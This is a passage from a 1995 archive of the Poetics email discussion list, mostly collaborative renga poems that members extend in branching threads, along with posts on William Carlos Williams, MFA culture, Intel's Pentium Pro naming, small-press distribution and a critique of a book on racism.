becoming to sheer crystal plain pure tulip glasses raised

↑ Index

789. **Chris Scheil**
Re: renga - the sequel
Fri 22 Sep 1995

> >hobbyist quaffs juleps poured in the direction of the skids
> >made by Chevettes sliding off the I5 south of Tacoma
> >looking like a born-again, living like a heretic, listening
> to blues most simpering until the Camels dry away, stained fingertips
in a Flintstone's ziplock--presents for Mama, vermouthing the wheel

↑ Index

790. **Charles Alexander**
Re: renga - the sequel
Fri 22 Sep 1995

---

hobbyist quaffs juleps poured in the direction of the skids stuffs morton's insistence on intermittency shaking freely makes neo-grotesque be taken at stock value while admitting thereupon frocked simultaneities strangle muscles promiscuously

↑ Index

791. **Charles Alexander**
Re: renga - the sequel
Fri 22 Sep 1995

---

hobbyist quaffs juleps poured in the direction of the skids stuffs morton's insistence on intermittency shaking freely leaf stems cubes whirl about as hobbyist pauses to consider truculence beside unlather of the little pacem dished out strings, nothing but straps and laces, potatoes mashed fine

↑ Index

792. **Charles Alexander**
Re: renga - the sequel
Fri 22 Sep 1995

---

hobbyist quaffs juleps poured in the direction of the skids stuffs morton's insistence on intermittency shaking freely makes neo-grotesque be taken at stock value while admitting Trappists to Morton's for piquant hor d'oeurveal persimmons on toast frocking replies tuned to tongue's pleasure, training skin for release

↑ Index

793. **Charles Alexander**
Re: renga - the sequel
Fri 22 Sep 1995

---

hobbyist quaffs juleps poured in the direction of the skids stuffs morton's insistence on intermittency shaking freely leaf stems cubes whirl about as hobbyist pauses to consider lunch as a pearl of sanitized dung in relation to mythology's transference of lettuce, permission to unleash

↑ Index

794. **Charles Alexander**
Re: renga - the sequel
Fri 22 Sep 1995

---

hobbyist quaffs juleps poured in the direction of the skids made by Chevettes sliding off the I5 south of Tacoma looking like a born-again, living like a heretic, listening to blues most simpering until the Camels dry away, stained fingertips on Cynthia's knees, prompting treasure taken forgiveness sighing

↑ Index

795. **Thomas Bell**
Re: spike it with saussure - begins the intramix...
Sat 23 Sep 1995

The Bell Curl

> In the books were dreams and in the dreams were books
> incorporating the end of timewarps and troves treasured
> the mercator projection of horniness and thou; for thou is
> Wow! What a catch! Yowza! Incorporating the dead heroes
> of Palookaville & the dead heroes of Guadalajara
> empowering scores of liberated mozos intent of Lacanian
> Bananas and coconut grove's ashes Phoenix rose and o
> o, o, the Murdochian rag, ok stop dick stop spot ate puff
the mAGIC drag Queen to Pawnshop to pick up an assault

↑ Index

796. **Tenney Nathanson**
WCW, agreeing w Alan G (me not WCW)
Sat 23 Sep 1995

I recall that way back when Douglas Messerli was still teaching, at Temple, he had only one outraged graduate seminar (being of course an otherwise not only brilliant but beloved instructor): in a modern poetry course he spozedly

taught /Spring & All/ & /Kora in Hell/, and the students were just irrevocably non-plussed--and Temple wasn't, as it isn't, ahem, Iowa, or I guess in light of recent posts I should say "Iowa." Gen-you-wine OH-pacity.

↑ Index

797. **Tenney Nathanson**
(no subject)
Sat 23 Sep 1995

> *Date: Fri, 22 Sep 1995 13:39:59 -0400*
> *From: Bill Luoma <[redacted]>*
> *Subject: New ListServe*
>
> *Pentium" Pro Processor Builds on Equity in Pentium Brand*

Bill--

is this news or poetry (I know people are miserably dying for lack of the news there--boring, right?--but really....?)

↑ Index

798. **Thomas Bell**
renga - oldies but goodies
Sat 23 Sep 1995

> >
> > In the books were dreams and in the dreams were books.
> >> And flew through windows, lightning green and fine morning
> >> First inverted whistle of a cardinal in the poplar
> >> The book and the oboe on the grass under sun and cloud
> >> Go endlessly, an obtuse Prussian blue, it binds
> >> The caravan of windows to what they flee
> >> These lace curtains, more gauze than bondage, more
> >> Mollycoddled than aware, thin-spined and pebbling
> >> but narrow in the waist or waspish Sunday years ago
> >> Over coffee topped with whipped cream, the Times blowing
> > & opining, heavy humid air, cumulus amusing against the
> > bleached ribcage ripcorded into compassed wind
> floating, held open, adrift in different directions, she
cast off she could move twitching gone the way of

Adrift in Post-traumatic Space (2)

"309.89 Post-traumatic Stress Disorder A. The person has experienced an event that is outside the range of usual human..." B. (1) Th Mauled tots swim

rec etr my mind's eye all urr au askew, asunder. ent mat an ic Death on the playground: d i eve "C'mon, let us play ball!" ntr nt Action speaks. usi is ve ree I absent myself some. rec exp And then further inure. oll eri Faraway Rockaway prison ect enc ion ed Enwrap pain. One way s o in ticket to Siberia. f t at Return naked on nails. he lea eve st one of the following ways: ...numbing of general responsiveness (not present before the trauma) as indicated by at least three of the following:... (6) restricted range of affect, e.g., unable to have loving feelings..."

↑ Index

799. **Rod Smith**

Re: Flossy & WCWs army of ah whatever

Sat 23 Sep 1995

OK I'm with this:

> *the "boring" i think has to do with being*
> *somewhere between formerly useful and not quite historical*

tho hold out for bits of _Imaginations_ -- so, what's so bad abt Bakhtin again? Is Olson in the same space as WCW, do ya think?

Remember an interview w/ a Poundian named Carlo Parcelli where the interviewer asked him, really, "What makes Olson so good?" & he replied "Because he's not a poet, he's a historian." Which I still find both interesting & cause for loss of cookies.

↑ Index

800. **Rod Smith**

Re: MFA Agents/the lake a lilac cube

Sat 23 Sep 1995

Think what's dangerous is certainly contextual. Are, in the phrase of a friend of mine, the "so-called Nuyoricans" dangerous? Somehow, on MTV, no. But in person some of them, powerful, convincing, useful.

The infiltration oddly neither group nor individual-- walking into a workshop situation there seems group resistance to "experimental," but individual, perhaps, acceptance. Though this is also a matter of search for group vocabulary with which to discuss these things, if one imposes the terms it becomes rote & nobody learns anything. So I'm neither comfortable nor uncomfortable teaching, but consider, suppose "we" "win"-- what does *that*

mean. This is putting it on the line folks, will the terms change, even a little? Since this seems my night to quote interviews, in the Cage/Retallack thing I published she asked him whether he thought artists could change "the grammar of the way we are together." His response was a long pause & then "we don't know, but we can try." Seems to me we're really talking about trying to change what Weber called "the iron cage or bureaucracy" & we'd oughta be prepared to fail grandiosely &/"or else" succeed, w/ a whimper (not a bang).

--Rod. dreadfully sorry, but it's 4:41 a.m.

↑ Index

801. **Ron Silliman**
Re: WCW
Sat 23 Sep 1995

Ed, a good part of what makes your stance unconvincing is how much it depends on actions that occur without agency (e.g., Bahktin who "got tossed out awhile ago" without saying why or who did such tossing). As someone who was reading him in '72 and felt that the whole fad served only to bring works into print and who was pleased to see the MLA kudzu die back from that arena, I still find real value in his work. And Williams also. There is an assumption in your stance that just because someone's work is situated in a context, say, of the 1930s, that its value remains there. In fact, even when someone undergoes an intense period of adoption, as WCW did (or Olson or Duncan or Creeley more recently), it is arguable whether all that exists within the work ever gets excavated by readers or usefully understood by other practitioners. One can read Wordsworth absolutely for his contemporary (or as they say at Duke, post-contemporary) values. Why not Williams also? What about all this writing?

Ron

↑ Index

802. **Gabrielle Welford**
Re: renga - the sequel
Sat 23 Sep 1995

---

hobbyist quaffs juleps poured in the direction of the skids
weave a pro toy aversion by the martyrs of cogency
but not for long. Mog oos a grayup lad n fast aboot it

↑ Index

803. **Ron Silliman**
All rengae sound the same
Sat 23 Sep 1995

After the first 500 examples, or thereabouts, all these rengae begin to take on a terrible sameness, even the new threads. Maybe it has to do with that slightly overbloated line length that seems so invariable. What is it about this form that imposes these limitations?

↑ Index

804. **Gabrielle Welford**
Re: spike it with saussure - begins the intramix...
Sat 23 Sep 1995

In the books were dreams and in the dreams were books
of Palookaville & the dead heroes of Guadalajara
empowering scores of liberated mozos intent of Lacanian
libretti, salted with much, much more than roughage added to taste
or tremolo, finding the shores awash with alphabet, proclaiming nothing
nutting nothing a-merrily dead bodies abandon
where wrote was written, stepping one four nine
passacaglia without the prefab little knobbed things on them
completely set on the sea as so much crabbiness
diverts attention from wars in three voices and the steady rain of hemlock
in three or four without babies set at nine

↑ Index

805. **Gabrielle Welford**
Re: be advised: wcw qtd in this renga
Sat 23 Sep 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The rook to the knight here by King's Bishop Three
Something has changed in the nature of friendship
But wouldn't you know it, Mrs. Mullett next in line
For food stamps, quints racing about the linoleum
Everything leans on the verb, falling, sighs
Twelve at least, one loves only firm, and firm
feels good to her it feels real good, & the corset

blanches from so many passwords being lifted like expected bans
on metaphors that the folks at the contagious hospital
thought we might be weaned of early, late, whatever,
but I am taking the broken glass as a token of my first epiphany
sassafras is my powerlessness to split scintillas in the mist
of lathering first frost as noon comes on like torqued weed
sucking on the indescribable and taking the ineffable for a walk
to Paris via seed cigars and chicory and plantain butts
a powdery king of aftertaste but all right

↑ Index

806. **Maria Damon**
Re: MFA Agents/Dangerous Poets
Sat 23 Sep 1995

---

thanks gale, good to hear/see from you, and to some extent, esp w/ students, it happens "naturally" --(like, who else wd i nominate for prizes --my most boring students?, and yes, that works, tho because of my limited credibility --my intellectual orientation is considered eccentric by my shakespearean and woolfian colleagues --my students end up w/ the $500 prizes rather than the $1500 main prizes --it's still something, and they feel supported and believed in, which is the most impt. thing). my ego still gets in there, tho, and that's one of the main casualties of this professional life, i think --in a field where intellectual property is everything, it can hurt to do something for years and not get anywhere, then some shallow hotshot (or worse yet, some square with a lot of local institutional power who suddenly "discovers", say , lyn hejinian) comes in and with one word makes your field legit --but you still don't get any "credit"... well, that's an issue for the daily meditation practice i guess and while it's as "real" or unreal as anything else and thus merits saying, it merits saying only so that one (i) can then move beyond that sphere of concern and be really real, like, do my own thing and invite others to join...i.e. more of same...sorry everyone for airing these petty ego concerns but some of you might just relate...i hope.--md

↑ Index

807. **Maria Damon**
Re: rebus aegis quotidian anger
Sat 23 Sep 1995

---

we keep going back and forth about this poor guy's mane
or colored name a la birthday wrapping ribbon all cello-phane

↑ Index

808. **Maria Damon**
Re: renga - the sequel
Sat 23 Sep 1995

---

rengalines lead me to that fluttering Word

↑ Index

809. **Jorge Guitart**
Re: renga - the sequel
Sat 23 Sep 1995

---

hobbyist quaffs juleps poured in the direction of the skids stuffs morton's insistence on intermittency shaking freely leaf stems cubes whirl about as hobbyist pauses to consider truculence beside unlather of the little pacem dished out as the set of mediocre results which luckily included itself

↑ Index

810. **Maria Damon**
Re: renga writing --a proposal
Sat 23 Sep 1995

---

rather than start a new renga myself (performance anxiety) i need to amend my earlier statement abt sympathizing w/ renga-deleters. what i' finding, and this is an interesting tho not novel or unpredictable revelation to me about my own mind, technology etc --is this: because i can't "skim" the rengas but have to really read them, they are alternately the most thrilling, life-giving msgs on the list, and the most distracting and daunting. when i'm panicked for time --as i now am, being on aol rather than a gratis univ. system --it takes a commitment of attention i initially resent but (like schlepping to the library to do research) ends up being gratifying in unpredictable ways --i never know what i'll learn, and the rengas alter my consciousness more than, say, my own whining about lack of institutional support for my field, or discussions about the usefulness of wcw.

by the way, what does "a single angel is frightening" mean: that more angels are less frightening because angels are not meant to be alone, or that if a single angel is scary, imagine how scary a whole flock wd be?-md

↑ Index

811. Jorge Guitart
Invasion of the Annoying Chevron
Sat 23 Sep 1995

> >> >> > >> >> In the books were dreams and in the dreams were books.
> >> >> > >> >> And flew through windows, lightning green and fine morning
> >> >> > >> >> First inverted whistle of a cardinal in the poplar
> >> >> > >> >> The book and the oboe on the grass under sun and cloud
> >> >> > >> >> Go endlessly, an obtuse Prussian blue, it binds
> >> >> > >> >> The rook to the knight here by King's Bishop Three
> >> >> > >> >> Something has changed in the nature of friendship
> >> >> > >> >> But wouldn't you know it, Mrs. Mullett next in line
> >> >> > >> >> For food stamps, quints racing about the linoleum
> >> >> > >> >> Everything leans on the verb, falling, sighs
> >> >> > >> >> Twelve at least, one loves only firm, and firm
> >> >> > >> >> feels good to her it feels real good, & the corset
> >> >> > >> blanches from so many passwords being lifted like expected bans
> >> >> > > on metaphors that the folks at the contagious hospital
> >> >> > thought we might be weaned of early, late, whatever,
> >> >> > but I am taking the broken glass as a token of my first epiphany
> >> sans snow, expansive though, fluent in half tones
> >> protomagnificent almost protosordid a proxy of ourselves as swellings
> bunched like little creams in plastic slightly crumpled at the bottom of
  a purse that the Comedy of It gave to The Fewer Embers in 1923

↑ Index

812. Jorge Guitart
Re: spike it with saussure - begins the intramix...
Sat 23 Sep 1995

On Fri, 22 Sep 1995, Sheila E. Murphy wrote:

In the books were dreams and in the dreams were books
of Palookaville & the dead heroes of Guadalajara
empowering scores of liberated mozos intent of Lacanian
libretti, salted with much, much more than roughage added to taste
or tremolo, finding the shores awash with alphabet, proclaiming nothing
nutting nothing a-merrily over my dead bodies in abandon
where wrote was written, stepping one four nine
passacaglia without the prefab little knobbed things on them
completely set on the sea as so much crabbiness

diverts attention from wars in three voices and the steady rain of hemlock
falling on the Concerns box & a sob distant as adventure capital

↑ Index

813. Jorge Guitart
Re: be advised: wcw qtd in this renga
Sat 23 Sep 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The rook to the knight here by King's Bishop Three
Something has changed in the nature of friendship
But wouldn't you know it, Mrs. Mullett next in line
For food stamps, quints racing about the linoleum
Everything leans on the verb, falling, sighs
Twelve at least, one loves only firm, and firm
feels good to her it feels real good, & the corset
blanches from so many passwords being lifted like expected bans
on metaphors that the folks at the contagious hospital
thought we might be weaned of early, late, whatever,
but I am taking the broken glass as a token of my first epiphany
sassafras is my powerlessness to split scintillas in the mist
of lathering first frost as noon comes on like torqued weed
sucking on the indescribable and taking the ineffable for a walk
to Paris via seed cigars and chicory and plantain butts
mixed with automaton condolences nixed by Dr. Reynolds

↑ Index

814. Jorge Guitart
Re: spike it with saussure - begins the intramix...
Sat 23 Sep 1995

On Fri, 22 Sep 1995, Sheila E. Murphy wrote:

In the books were dreams and in the dreams were books
Incorporating the end of timewarps and troves treasured
the mercator projection of horniness and thou; for thou is
Wow! What a catch! Yowza! Incorporating the dead heroes
of Palookaville & the dead heroes of Guadalajara
empowering scores of liberated mozos intent of Lacanian

libretti, salted with much, much more than roughage added to taste
doughboys & doughgirls, behaving like superfluous enigmas
puzzling in contagious ways over the simplest rides to
the grotto of our Lady of Corollaries during the Feast of the Enormity
with widgets handprinted with obvious mistakes in limited editions
shrink-wrapped to keep-out dangerfields and glut shelves of
gutted elves' belongings so gravitied as not to quiver when
"When Worlds Collide" is shown in both worlds colliding

↑ Index

815. H. T. KIRBY-SMITH

publications

Sat 23 Sep 1995

In response to Charles Bernstein's request: My only book publication is U. S. OBSERVATORIES (Van Nostrand Reinhold). This is a book about observatories. It has a number of good pictures in it, taken by observatories, who have very good cameras. The book is out of print and if anyone sees it in the astronomy section of a used book store I wish you would buy it and let me buy it from you since I only have 2-3 copies myself. It tends to get stolen from libraries.

Lots of people think they are imitating WCW-- poor Zelda
thought she was Pavlova.

Tom Kirby-Smith.

↑ Index

816. Thomas Bell

Re: spike it with saussure - begins the intramix...

Sat 23 Sep 1995

In the books were dreams and in the dreams were books
Incorporating the end of timewarps and troves treasured
the mercator projection of horniness and thou; for thou is
Wow! What a catch! Yowza! Incorporating the dead heroes
of Palookaville & the dead heroes of Guadalajara
empowering scores of liberated mozos intent of Lacanian
libretti, salted with much, much more than roughage added to taste
doughboys & doughgirls, behaving like superfluous enigmas
puzzling in contagious ways over the simplest rides to
the grotto of our Lady of Corollaries during the Feast of the Enormity
with widgets handprinted with obvious mistakes in limited editions
shrink-wrapped to keep-out dangerfields and glut shelves of

gutted elves' belongings so gravitied as not to quiver when
blood ran before the crest masts unfurled before the

↑ Index

817. **eric pape**
Re: oh really?
Sat 23 Sep 1995

(Gulp) Okay. Here goes.

When the Senorita Died

12: 24 and Chimes Street is all perturbed with heat.
It's summer, five days after the Shrimp and
Petroleum Festival, yes, and I am looking for a tab
with my coffee. I have to see Jackie and Dennis
for a late lunch, but at this point, all I am
thinking about is where I will find my next hit.

At the Lebanese, I have an Abita and
cheese fries and buy APR to see what folks
are doing in the real world. There's a feature
on Merwin and something about the Pacific
but I toss it into the street
and go to the Varsity because Alice (Quietcar, I think)
will be tending bar and she gives out free martinis
if you can remember who played the night before.
The cool thing is she never knows so I say Orlando
and for once she doesn't check with the front desk
and shakes up a 'tini while I wait.

This is Louisiana, so I head off with drink in hand
to Highland, for the latestHaraway, but find it
all too langweilig so sit by Godfather's
to watch until Dolores comes by
because she always has Wired and US News
and World Report and on the front page I
see here name outlined in red ink,

and I shiver and I remember Four Aces in Brownsville
trying to piss in a trough with five other fellows
while while she whined a song along with the accordian
and everyone and I stopped micturating

INcidentally, I should say that I am working on my exams now, and at some point in my life will surely discredit everything that I've said on this list so far

for the reason that I am very very grouchy.Also, isn't it still true that the sincerest form of flattery is imitation (please say so)?

↑ Index

818. Louis Cabri

renga

Sat 23 Sep 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The rook to the knight here by King's Bishop Three
Something has changed in the nature of friendship
But wouldn't you know it, Mrs. Mullett next in line
For food stamps, quints racing about the linoleum
Everything leans on the verb, falling, sighs
Twelve at least, one loves only firm, and firm
feels good to her it feels real good, & the corset
blanches from so many passwords being lifted like expected bans
on metaphors that the folks at the contagious hospital
thought we might be weaned of early, late, whatever
the contagious wind strikes a chord with nothing ventured
maimed, my parents won't let me play with density
because its quantity is known, and they prefer unknowns
to Belarus stockmen deflowering everything in sight, grim
Homolkaesque behaviourists - but quality refrigerators:
    forensically "I seem to be a verb"

↑ Index

819. Jorge Guitart

Re: Another Renga Request

Sun 24 Sep 1995

Amen to what Cris is saying. On the other hand I am thinking that perhaps no permission is needed in any case because anything posted is in the public domain? EPC should be thanked as courtesy. On the other hand, in the improbable case that some money will be made from publishing any rengas in whole or in part, perhaps the money should be donated to the institution where the list originates, i.e., SUNY at Buffalo, which pays for EPC.

On Fri, 22 Sep 1995, cris cheek wrote:

> *Hi Eryque,*
> *I'm with Jorge's response on this one. And would say publish any version or branches you have copies of that you enjoy - as 'work in progress'.*
> *But I do feel that the Poetics list should be mentioned, as should the fact that many other contributions / interventions have affected the branching process and the choices made.*
>
> *love and love*
> *cris*

↑ Index

820. **Sheila E. Murphy**
Re: renga - the sequel
Sun 24 Sep 1995

>hobbyist quaffs juleps poured in the direction of the skids
>stuffs morton's insistence on intermittency shaking freely
>leaf stems cubes whirl about as hobbyist pauses to consider
>lunch as a pearl of sanitized dung in relation to
>mythology's transference of lettuce, permission to unleash
a rinse as whimsy over the leafed personalities of

↑ Index

821. **Sheila E. Murphy**
Re: renga - the sequel
Sun 24 Sep 1995

>hobbyist quaffs juleps poured in the direction of the skids
>stuffs morton's insistence on intermittency shaking freely
>makes neo-grotesque be taken at stock value while admitting
>thereupon frocked simultaneities strangle muscles promiscuously
because theorems are delicious basked rather than fortified

↑ Index

822. **Sheila E. Murphy**
Re: renga - the sequel
Sun 24 Sep 1995

>hobbyist quaffs juleps poured in the direction of the skids
>made by Chevettes sliding off the I5 south of Tacoma
>looking like a born-again, living like a heretic, listening

>to blues most simpering until the Camels dry away, stained fingertips
>on Cynthia's knees, prompting treasure taken forgiveness sighing
that what weather blanches likes to crop and crops become our

↑ Index

823. **Chris Scheil**
Re: renga - the sequel
Sun 24 Sep 1995

> >hobbyist quaffs juleps poured in the direction of the skids
> >stuffs morton's insistence on intermittency shaking freely
> >leaf stems cubes whirl about as hobbyist pauses to consider
> >lunch as a pearl of sanitized dung in relation to
> >mythology's transference of lettuce, permission to unleash
> a rinse as whimsy over the leafed personalities of
  Matador X^Nth, his treacly morbidity glee, his pubic toupee, his

↑ Index

824. **Tony Green**
Renga moan
Sun 24 Sep 1995

I've stopped reading them. Auto-delete wd be handy. Not only line-length, but the "improbabilities" are getting repetitive.

Tony Green,
e-mail: [redacted]

↑ Index

825. **Maria Damon**
Re: renga - oldies but goodies
Sun 24 Sep 1995

---

oldies but goodies magnificent fun! awarming floater chevrons, india november delta apple, gloria soames!

↑ Index

826. **Maria Damon**
Re: be advised: wcw qtd in this renga
Sun 24 Sep 1995

---

a bit slow on the apres coup mais nonetheless love ya babe

↑ Index

827. **Ron Silliman**

Naming in America

Sun 24 Sep 1995

Tenney, to Billy Luoma's post,
>>Pentium" Pro Processor Builds on Equity in Pentium Brand
>
you commented
>is this news or poetry (I know people are miserably dying for lack of
the news there--boring, right?--but really....?)
>
I took this as a post on naming in society, circa 1995, and found it absolutely compelling. The Pentium Pro, which will be a household name in about 3 years, is what we once would have called a "686" had the copyright laws not failed to protect Intel's claim to ownership of the "xx86" convention for computer chips. Note that Intel, which invoked the figure 5 in its Pentium, does not continue the stepping process with this next generation chip. That is an attempt to shake off AMD and the other clone chip manufacturers and parallels, at least at a distance, Microsoft's leaping changes in its Microsoft Word for Windows, which went from 2.0 to 6.0 without intermediate steps (which existed, however, in DOS) and from Windows 4.0 (nee "Chicago") to Windows 95 (a name that's going to get OLD fast).

While they're not as aggressively silly and Americo-centric as the internet features named after Archie comix characters, it's worth noting that the naming styles of the computer industry have had (and are having, as we speak (if this be speech)) differs dramatically from the nature of such conventions earlier in the century. I forget who first noted that discourses that are insecure about their knowledge tend to be pompous in their terminologies, viz. the use of Latin to characterize in English what Freud simply called the I, the it and the superI. Or structuralism's love of acronyms (think of Althusser and all that type wasted on ISA, RSA etc.).

I already feel "fond" of how Pentium Pro suggests that the Pentium chip itself is somehow amateurish (up until 6 months ago, 95 percent of all Pentium systems were being sold to home users--the corporate ramp-up is very slow, but the home buyer wants the full suite of bells and whistles NOW).

Sincerely yours
Ron (486DX2) Silliman
[redacted]

↑ Index

828. Sheila E. Murphy
Re: this break will or will not not branch
Sun 24 Sep 1995

>>Jorge, the Nobel Savage, wrote
>>
>>> >> >>>>In the books were dreams and in the dreams were books.
>>> >> >>>>And flew through windows, lightning green and fine morning
>>> >> [savage edit]
>>> >> >>>>demitassed to mean full-bodied wine with alcohol removed
>>> >> >>>>by trained leeches from under the rotting elastic, a feast
>>> >> >>>>of swirling eddies with beaucoup of labia & confetti
>>> >> >>>>starving time's scythe for water, matching colors to go
>>> >> >>>crecheward into sweet line drawings clothed to world our
>>> >> >>words for water, falling four blocks away, finally, a gulf
>>> >> >between perceived and rinsing water, shroud and comforter,
>>> >> flogging proud wet stones with patchwork flags making tenement hum
>>> > with "Too late the coloscope" and "Cried the besotted gondry"
>>> fishing around with like with like and let it get too cold, "Hey,
>> tell us apart" "Don't be saussure, tracy". "The name is trace, pal"
>spun on painted heels, then "vanishing, not varnishing!" her smile
impossibly relaxed when thinking about pain beside the capability of boredom

↑ Index

829. George Bowering
Re: renga - the sequel
Mon 25 Sep 1995

hobbyist quaffs juleps poured in the direction of the skids made by Chevettes sliding off the I5 south of Tacoma looking like a born-again, living like a heretic, listening to blues most simpering until the Camels dry away, stained fingertips on Cynthia's knees, prompting treasure taken forgiveness sighing that what weather blanches likes to crop and crops become our sinecures till old age beckons with a tower of '45s

↑ Index

830. W. Northcutt
Royal Albert Hall Do-wingy
Mon 25 Sep 1995

I may be able to spring a trip to the poetry wing-ding at the Albert Hall. Would yer be so kind as to send me information/or list it in the group on how to get seats, and the date, time, etc... William Northcutt [redacted]

↑ Index

831. **Mark Roberts**
Re: New ListServe
Mon 25 Sep 1995

> *Pentium" Pro Processor Builds on Equity in Pentium Brand*
> *On Sept 19,1995 -- Intel Corporation announced that "Pentium" Pro processor" is the name for its next-generation microprocessor, previously code-named P6. The 5.5 million transistor device will be introduced in the fourth quarter of this calendar year, and will be targeted at workstation and high-end desktop systems, as well as cost-effective servers. The Pentium Pro processor will deliver the highest level of performance on 32-bit software for the Intel architecture.....*

But can it add up??????

↑ Index

832. **Burt Kimmelman**
Re: All rengae sound the same
Mon 25 Sep 1995

Hey Ron!

You mean to say that you have actually READ the last five hundred rengae? When I see a renga, I reach for that good ol' delete key.

Burt

↑ Index

833. **Burt Kimmelman**
Re: Renga moan
Mon 25 Sep 1995

Somebody give the Rengaists a chat line of their own and/or an electronic magazine. Is "Poetics" the same thing as "Poetry"? I don't mean to be restrictive, but, as the joke goes about the husband (no sexism intended) who petitions the judge for a divorce from his wife of fifty years, and the judge asks, why, after all this time could you possibly want a divorce, the husband replies, "Enough is enough already!"

↑ Index

834. Mark Roberts
Distribution
Mon 25 Sep 1995

(Sorry if you receive this twice - the Sydney Uni server was down on the weekend and I'm note sure whether this got through)

Sorry I'm running late replying to this thread.

I am currently setting up a small press distribution network in Sydney which will handle Australian small press stuff in the first instance but we may well be able to take some os stuff after we get up and running. I'll keep list members up to date. (we will also run stores at readings seminars and the like and it may be possible to take one or two copies of o/s magazines to sell on consignment that way - we'll see).

There have been a number of attempts to set up distribution networks in Australia over the years. Most have them have fallen down because of the distances involved. You really need to have staff in each capital city and given Australia's small population and massive distances the economics just don't add up. We are trying to overcome this by limiting ourselves to the city and thye bookshops we know the best.

We will be also be setting up a virtual bookshop so a whole lot of Australian small press publications should become available shortly via the net.

regards

mark
(Australian Writing On Line)

↑ Index

835. Jim Rosenberg
Is _Poetics Journal_ Dead?
Mon 25 Sep 1995

The subject pretty much says it all. I have a piece that is supposedly due out in the next issue of _Poetics Journal_, but it's been in this state for *years* & I've been assuming the magazine simply died. Does anyone know if it is "officially" dead?

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

↑ Index

836. Aldon L. Nielsen
Re: The News
Mon 25 Sep 1995

Thousnads of people died today for want of what could be found in poetry in what authorities are describing as the most tragic aesthetic disaster of the century. Exact figures are not yet available, but New Jersey disaster relief officials describe their region as particularly hard hit. One survivor interviewed at the Joyce Kilmer rest stop reported that she narrowly averted the fate that suddenly befell all those around her because she happened to glance at a scrap of verse someone had written on a wall just as nearly all the other passengers in her van collapsed from ennui.

↑ Index

837. Gale Nelson
Re: French Poetry Festival in October
Mon 25 Sep 1995

Gwyn,

(Sorry to everyone else as this should be directed) -- does the AWP have back-issues of the Chronicle going back to origins? Christina Milletti, a graduate student here at Brown, is researching the Chronicle, but cannot get her hands on the early issues.

Her electronic address is [redacted].

Many thanks, and apologies to everyone else.

Cheers,

Gale Nelson

↑ Index

838. Aldon L. Nielsen
Re: News Too
Mon 25 Sep 1995

Speaking of hot shots -- Dinesh D'Souza has just published a book, _The End of Racism_, in which he asserts that slavery was not a racist institution. Young Mr. D'Souza got a grant five times the size of yours to "research" this book, and has been featured in two successive issues of the Chronicle of Higher Ed. -- He shows that he is not a racist by disagreeing with _The Bell Curve's_ arguments that intelligence is both hereditary and racial, then proceeds to argue that black Americans just happen to belong to a culture whose unwise life choices leads to them doing less well on intelligence tests.

Back in the forties, C.L.R. James wrote that "It is instructive to read the old monographs, articles, volumes, disputes on Negro intelligence, tests, the shape of the head, the weight of the brain, etc. Today all that is dead."

well, you can't be right all the time -- but now that racism is at its "end" I suppose we don't need to worry about such things anymore --

As another former D.C. resident used to say:
"Makes me wanna holler, throw up _both_ my hands!"

↑ Index

839. Jorge Guitart

Re: renga

Mon 25 Sep 1995

On Sat, 23 Sep 1995, Louis Cabri wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The rook to the knight here by King's Bishop Three
> Something has changed in the nature of friendship
> But wouldn't you know it, Mrs. Mullett next in line
> For food stamps, quints racing about the linoleum
> Everything leans on the verb, falling, sighs
> Twelve at least, one loves only firm, and firm
> feels good to her it feels real good, & the corset
> blanches from so many passwords being lifted like expected bans
> on metaphors that the folks at the contagious hospital
> thought we might be weaned of early, late, whatever
> the contagious wind strikes a chord with nothing ventured
> maimed, my parents won't let me play with density
> because its quantity is known, and they prefer unknowns
> to Belarus stockmen deflowering everything in sight, grim
> Homolkaesque behaviourists - but quality refrigerators:
> forensically "I seem to be a verb"
but mereologically i am an anominal clitic

↑ Index

840. **Jorge Guitart**
Re: renga - the sequel
Mon 25 Sep 1995

hobbyist quaffs juleps poured in the direction of the skids
made by Chevettes sliding off the I5 south of Tacoma
monikered bellwether of the pall
top crash, whose running gag was meat
and was edible with pointy head crushed body yellowish

↑ Index

841. **Jorge Guitart**
Re: spike it with saussure - begins the reich
Mon 25 Sep 1995

> *On Wed, 20 Sep 1995, Jurphy Sowering Borge, Jr. wrote*
>
> *In the books were dreams and in the dreams were books.*
> *incorporating the end of timewarps and troves treasured*
> *the mercator projection of horniness and thou; for thou is*
> *Wow! What a catch! Yowza! Incorporating the dead heroes*
> *who pester as obsession or a hobby or as fraction of a prayer,*
> *towering above us with a lot of bothersome >>>>>>>>>>>>,s*
> *measured at density 21.5 along with a "d" added to first name*
> *of DDaniel who saw Adonai and believe me he was no Adonis*
> *although reputation tends to weave a little of transfixive*
> *which sticks to your clothes and makes you ineluctable*
> *as timpanic surface potable though shrill*
> * avatars, managing with just a couple of deflowering judases*
> *to brick the windows both ways just in time for*
> *the portion of laceration that was olympisized*

↑ Index

842. **Jorge Guitart**
Re: renga - the sequel
Mon 25 Sep 1995

hobbyist quaffs juleps poured in the direction of the skids stuffs morton's insistence on intermittency shaking freely makes neo-grotesque be taken at stock value while admitting splits of shares like to be hitched to stories about stabat pater doloroso with kidney statuettes

↑ Index

843. **Jorge Guitart**
Re: renga - the sequel
Mon 25 Sep 1995

---

hobbyist quaffs juleps poured in the direction of the skids stuffs morton's insistence on intermittency shaking freely makes neo-grotesque be taken at stock value while admitting Trappists to Morton's for piquant hor d'oeurveal persimmons on toast becoming to sheer crystal plain pure tulip glasses raised it's not a exploded view vs papier bleau issue

↑ Index

844. **Jorge Guitart**
Re: Sheila, Chris & Jorge's Excellent Adventure
Mon 25 Sep 1995

On Fri, 22 Sep 1995, cris cheek wrote:

> *JG wrote:*
> *On Sun, 17 Sep 1995, Sheila E. Murphy wrote:*
>
> *SEM-CC-JG BRANCH 9/18/95*
>
> *in the books were dreams and in the dreams were*
